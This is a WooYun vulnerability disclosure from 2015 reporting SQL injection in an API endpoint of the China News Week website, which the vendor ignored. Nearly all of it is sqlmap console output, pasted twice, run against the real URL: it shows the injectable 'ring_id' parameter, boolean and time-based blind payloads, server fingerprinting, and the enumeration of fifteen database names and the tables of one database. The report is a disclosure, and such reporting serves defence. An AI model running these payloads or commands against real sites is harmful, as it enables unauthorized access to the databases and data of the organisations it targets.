当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0141680

漏洞标题：中国新闻周刊API网存在SQL注入漏洞

相关厂商：inewsweek.cn

漏洞作者： SunnyDoll

提交时间：2015-09-17 10:36

修复时间：2015-09-22 10:38

公开时间：2015-09-22 10:38

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-17： 细节已通知厂商并且等待厂商处理中
2015-09-22： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

RT
话说上个漏洞厂商不确定几个意思？

详细说明：


C:\Python27\sqlmap>sqlmap.py -u http://api.inewsweek.cn/api/api.ring_value_show.php?ring_id=253
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150901}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:56:16
[14:56:16] [INFO] testing connection to the target URL
[14:56:16] [INFO] testing if the target URL is stable
[14:56:17] [INFO] target URL is stable
[14:56:17] [INFO] testing if GET parameter 'ring_id' is dynamic
[14:56:17] [INFO] confirming that GET parameter 'ring_id' is dynamic
[14:56:17] [INFO] GET parameter 'ring_id' is dynamic
[14:56:17] [INFO] heuristic (basic) test shows that GET parameter 'ring_id' migh
t be injectable
[14:56:17] [INFO] testing for SQL injection on GET parameter 'ring_id'
[14:56:18] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:56:18] [INFO] GET parameter 'ring_id' seems to be 'AND boolean-based blind -
 WHERE or HAVING clause' injectable
[14:56:18] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[14:56:18] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:56:18] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[14:56:18] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[14:56:18] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[14:56:18] [INFO] testing 'MySQL inline queries'
[14:56:18] [INFO] testing 'PostgreSQL inline queries'
[14:56:18] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[14:56:18] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[14:56:19] [WARNING] time-based comparison requires larger statistical model, pl
ease wait...........
[14:56:19] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:56:19] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)
'
[14:56:19] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - c
omment)'
[14:56:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[14:56:29] [INFO] GET parameter 'ring_id' seems to be 'MySQL >= 5.0.12 AND time-
based blind (SELECT)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1) values? [Y/n]
[14:56:31] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:56:31] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[14:56:31] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[14:56:31] [INFO] target URL appears to have 18 columns in query
injection not exploitable with NULL values. Do you want to try with a random int
eger value for option '--union-char'? [Y/n]
[14:56:37] [WARNING] if UNION based SQL injection is not detected, please consid
er forcing the back-end DBMS (e.g. '--dbms=mysql')
[14:56:37] [INFO] checking if the injection point on GET parameter 'ring_id' is
a false positive
GET parameter 'ring_id' is vulnerable. Do you want to keep testing the others (i
f any)? [y/N]
sqlmap identified the following injection point(s) with a total of 115 HTTP(s) r
equests:
---
Parameter: ring_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ring_id=253 AND 8749=8749
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: ring_id=253 AND (SELECT * FROM (SELECT(SLEEP(5)))BTPo)
---
[14:56:38] [INFO] the back-end DBMS is MySQL
web server operating system: Linux SuSE 11.1
web application technology: Apache 2.2.10
back-end DBMS: MySQL 5.0.12
[14:56:39] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\api.inewsweek.cn'
[*] shutting down at 14:56:39
C:\Python27\sqlmap>sqlmap.py -u http://api.inewsweek.cn/api/api.ring_value_show.
php?ring_id=253 --dbs
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150901}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:56:41
[14:56:41] [INFO] resuming back-end DBMS 'mysql'
[14:56:41] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ring_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ring_id=253 AND 8749=8749
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: ring_id=253 AND (SELECT * FROM (SELECT(SLEEP(5)))BTPo)
---
[14:56:42] [INFO] the back-end DBMS is MySQL
web server operating system: Linux SuSE 11.1
web application technology: Apache 2.2.10
back-end DBMS: MySQL 5.0.12
[14:56:42] [INFO] fetching database names
[14:56:42] [INFO] fetching number of databases
[14:56:42] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[14:56:42] [INFO] retrieved: 15
[14:56:42] [INFO] retrieved: information_schema
[14:56:50] [INFO] retrieved: cnw_bbs
[14:57:23] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
 going to retry the request
[14:57:24] [INFO] retrieved: cnw_eng
[14:57:28] [INFO] retrieved: cnw_ibbs
[14:57:32] [INFO] retrieved: cnw_iphoto
[14:57:37] [INFO] retrieved: cnw_other
[14:57:42] [INFO] retrieved: cnw_passport
[14:57:47] [INFO] retrieved: cnw_p
[14:58:19] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
 going to retry the request
ld
[14:58:21] [INFO] retrieved: cnw_s
[14:58:54] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
 going to retry the request
urvey
[14:58:57] [INFO] retrieved: cnw_total
[14:59:01] [INFO] retrieved: cnw_web
[14:59:04] [INFO] retrieved: cnw_web_new
[14:59:09] [INFO] retrieved: cnw_zhuanti
[14:59:13] [INFO] retrieved: mysql
[14:59:16] [INFO] retrieved: test
available databases [15]:
[*] cnw_bbs
[*] cnw_eng
[*] cnw_ibbs
[*] cnw_iphoto
[*] cnw_other
[*] cnw_passport
[*] cnw_pld
[*] cnw_survey
[*] cnw_total
[*] cnw_web
[*] cnw_web_new
[*] cnw_zhuanti
[*] information_schema
[*] mysql
[*] test
[14:59:18] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\api.inewsweek.cn'
[*] shutting down at 14:59:18
C:\Python27\sqlmap>sqlmap.py -u http://api.inewsweek.cn/api/api.ring_value_show.
php?ring_id=253 --current-db
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150901}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:05:19
[15:05:19] [INFO] resuming back-end DBMS 'mysql'
[15:05:19] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ring_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ring_id=253 AND 8749=8749
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: ring_id=253 AND (SELECT * FROM (SELECT(SLEEP(5)))BTPo)
---
[15:05:20] [INFO] the back-end DBMS is MySQL
web server operating system: Linux SuSE 11.1
web application technology: Apache 2.2.10
back-end DBMS: MySQL 5.0.12
[15:05:20] [INFO] fetching current database
[15:05:20] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[15:05:20] [INFO] retrieved: cnw_survey
current database:    'cnw_survey'
[15:05:24] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\api.inewsweek.cn'
[*] shutting down at 15:05:24
C:\Python27\sqlmap>sqlmap.py -u http://api.inewsweek.cn/api/api.ring_value_show.
php?ring_id=253 --tables -D cnw_survey
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150901}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:05:49
[15:05:49] [INFO] resuming back-end DBMS 'mysql'
[15:05:49] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ring_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ring_id=253 AND 8749=8749
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: ring_id=253 AND (SELECT * FROM (SELECT(SLEEP(5)))BTPo)
---
[15:05:50] [INFO] the back-end DBMS is MySQL
web server operating system: Linux SuSE 11.1
web application technology: Apache 2.2.10
back-end DBMS: MySQL 5.0.12
[15:05:50] [INFO] fetching tables for database: 'cnw_survey'
[15:05:50] [INFO] fetching number of tables for database 'cnw_survey'
[15:05:50] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[15:05:50] [INFO] retrieved: 7
[15:05:50] [INFO] retrieved: ring
[15:05:52] [INFO] retrieved: ring_log
[15:05:55] [INFO] retrieved: vote
[15:05:57] [INFO] retrieved: vote_item
[15:05:59] [INFO] retrieved: vote_item_else
[15:06:02] [INFO] retrieved: vote_log
[15:06:04] [INFO] retrieved: vote_title
Database: cnw_survey
[7 tables]
+----------------+
| ring           |
| ring_log       |
| vote           |
| vote_item      |
| vote_item_else |
| vote_log       |
| vote_title     |
+----------------+
[15:06:07] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\api.inewsweek.cn'
[*] shutting down at 15:06:07
C:\Python27\sqlmap>

漏洞证明：


C:\Python27\sqlmap>sqlmap.py -u http://api.inewsweek.cn/api/api.ring_value_show.
php?ring_id=253
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150901}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:56:16
[14:56:16] [INFO] testing connection to the target URL
[14:56:16] [INFO] testing if the target URL is stable
[14:56:17] [INFO] target URL is stable
[14:56:17] [INFO] testing if GET parameter 'ring_id' is dynamic
[14:56:17] [INFO] confirming that GET parameter 'ring_id' is dynamic
[14:56:17] [INFO] GET parameter 'ring_id' is dynamic
[14:56:17] [INFO] heuristic (basic) test shows that GET parameter 'ring_id' migh
t be injectable
[14:56:17] [INFO] testing for SQL injection on GET parameter 'ring_id'
[14:56:18] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:56:18] [INFO] GET parameter 'ring_id' seems to be 'AND boolean-based blind -
 WHERE or HAVING clause' injectable
[14:56:18] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[14:56:18] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:56:18] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[14:56:18] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[14:56:18] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[14:56:18] [INFO] testing 'MySQL inline queries'
[14:56:18] [INFO] testing 'PostgreSQL inline queries'
[14:56:18] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[14:56:18] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[14:56:19] [WARNING] time-based comparison requires larger statistical model, pl
ease wait...........
[14:56:19] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:56:19] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)
'
[14:56:19] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - c
omment)'
[14:56:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[14:56:29] [INFO] GET parameter 'ring_id' seems to be 'MySQL >= 5.0.12 AND time-
based blind (SELECT)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1) values? [Y/n]
[14:56:31] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:56:31] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[14:56:31] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[14:56:31] [INFO] target URL appears to have 18 columns in query
injection not exploitable with NULL values. Do you want to try with a random int
eger value for option '--union-char'? [Y/n]
[14:56:37] [WARNING] if UNION based SQL injection is not detected, please consid
er forcing the back-end DBMS (e.g. '--dbms=mysql')
[14:56:37] [INFO] checking if the injection point on GET parameter 'ring_id' is
a false positive
GET parameter 'ring_id' is vulnerable. Do you want to keep testing the others (i
f any)? [y/N]
sqlmap identified the following injection point(s) with a total of 115 HTTP(s) r
equests:
---
Parameter: ring_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ring_id=253 AND 8749=8749
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: ring_id=253 AND (SELECT * FROM (SELECT(SLEEP(5)))BTPo)
---
[14:56:38] [INFO] the back-end DBMS is MySQL
web server operating system: Linux SuSE 11.1
web application technology: Apache 2.2.10
back-end DBMS: MySQL 5.0.12
[14:56:39] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\api.inewsweek.cn'
[*] shutting down at 14:56:39
C:\Python27\sqlmap>sqlmap.py -u http://api.inewsweek.cn/api/api.ring_value_show.
php?ring_id=253 --dbs
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150901}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:56:41
[14:56:41] [INFO] resuming back-end DBMS 'mysql'
[14:56:41] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ring_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ring_id=253 AND 8749=8749
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: ring_id=253 AND (SELECT * FROM (SELECT(SLEEP(5)))BTPo)
---
[14:56:42] [INFO] the back-end DBMS is MySQL
web server operating system: Linux SuSE 11.1
web application technology: Apache 2.2.10
back-end DBMS: MySQL 5.0.12
[14:56:42] [INFO] fetching database names
[14:56:42] [INFO] fetching number of databases
[14:56:42] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[14:56:42] [INFO] retrieved: 15
[14:56:42] [INFO] retrieved: information_schema
[14:56:50] [INFO] retrieved: cnw_bbs
[14:57:23] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
 going to retry the request
[14:57:24] [INFO] retrieved: cnw_eng
[14:57:28] [INFO] retrieved: cnw_ibbs
[14:57:32] [INFO] retrieved: cnw_iphoto
[14:57:37] [INFO] retrieved: cnw_other
[14:57:42] [INFO] retrieved: cnw_passport
[14:57:47] [INFO] retrieved: cnw_p
[14:58:19] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
 going to retry the request
ld
[14:58:21] [INFO] retrieved: cnw_s
[14:58:54] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
 going to retry the request
urvey
[14:58:57] [INFO] retrieved: cnw_total
[14:59:01] [INFO] retrieved: cnw_web
[14:59:04] [INFO] retrieved: cnw_web_new
[14:59:09] [INFO] retrieved: cnw_zhuanti
[14:59:13] [INFO] retrieved: mysql
[14:59:16] [INFO] retrieved: test
available databases [15]:
[*] cnw_bbs
[*] cnw_eng
[*] cnw_ibbs
[*] cnw_iphoto
[*] cnw_other
[*] cnw_passport
[*] cnw_pld
[*] cnw_survey
[*] cnw_total
[*] cnw_web
[*] cnw_web_new
[*] cnw_zhuanti
[*] information_schema
[*] mysql
[*] test
[14:59:18] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\api.inewsweek.cn'
[*] shutting down at 14:59:18
C:\Python27\sqlmap>sqlmap.py -u http://api.inewsweek.cn/api/api.ring_value_show.
php?ring_id=253 --current-db
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150901}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:05:19
[15:05:19] [INFO] resuming back-end DBMS 'mysql'
[15:05:19] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ring_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ring_id=253 AND 8749=8749
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: ring_id=253 AND (SELECT * FROM (SELECT(SLEEP(5)))BTPo)
---
[15:05:20] [INFO] the back-end DBMS is MySQL
web server operating system: Linux SuSE 11.1
web application technology: Apache 2.2.10
back-end DBMS: MySQL 5.0.12
[15:05:20] [INFO] fetching current database
[15:05:20] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[15:05:20] [INFO] retrieved: cnw_survey
current database:    'cnw_survey'
[15:05:24] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\api.inewsweek.cn'
[*] shutting down at 15:05:24
C:\Python27\sqlmap>sqlmap.py -u http://api.inewsweek.cn/api/api.ring_value_show.
php?ring_id=253 --tables -D cnw_survey
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150901}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:05:49
[15:05:49] [INFO] resuming back-end DBMS 'mysql'
[15:05:49] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ring_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ring_id=253 AND 8749=8749
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: ring_id=253 AND (SELECT * FROM (SELECT(SLEEP(5)))BTPo)
---
[15:05:50] [INFO] the back-end DBMS is MySQL
web server operating system: Linux SuSE 11.1
web application technology: Apache 2.2.10
back-end DBMS: MySQL 5.0.12
[15:05:50] [INFO] fetching tables for database: 'cnw_survey'
[15:05:50] [INFO] fetching number of tables for database 'cnw_survey'
[15:05:50] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[15:05:50] [INFO] retrieved: 7
[15:05:50] [INFO] retrieved: ring
[15:05:52] [INFO] retrieved: ring_log
[15:05:55] [INFO] retrieved: vote
[15:05:57] [INFO] retrieved: vote_item
[15:05:59] [INFO] retrieved: vote_item_else
[15:06:02] [INFO] retrieved: vote_log
[15:06:04] [INFO] retrieved: vote_title
Database: cnw_survey
[7 tables]
+----------------+
| ring           |
| ring_log       |
| vote           |
| vote_item      |
| vote_item_else |
| vote_log       |
| vote_title     |
+----------------+
[15:06:07] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\api.inewsweek.cn'
[*] shutting down at 15:06:07
C:\Python27\sqlmap>

修复方案：

I don't Know ？

版权声明：转载请注明来源 SunnyDoll@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-09-22 10:38

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无

漏洞评价：

评论

  1. 2015-09-17 21:45 | SunnyDoll ( 实习白帽子 | Rank:32 漏洞数:10 | 职业搬砖工)

    厂商去哪了？让大风吹跑了.你快回来~ 让我的爱还会在.（PS：如果漏洞持续忽略是不是应该封掉）@疯狗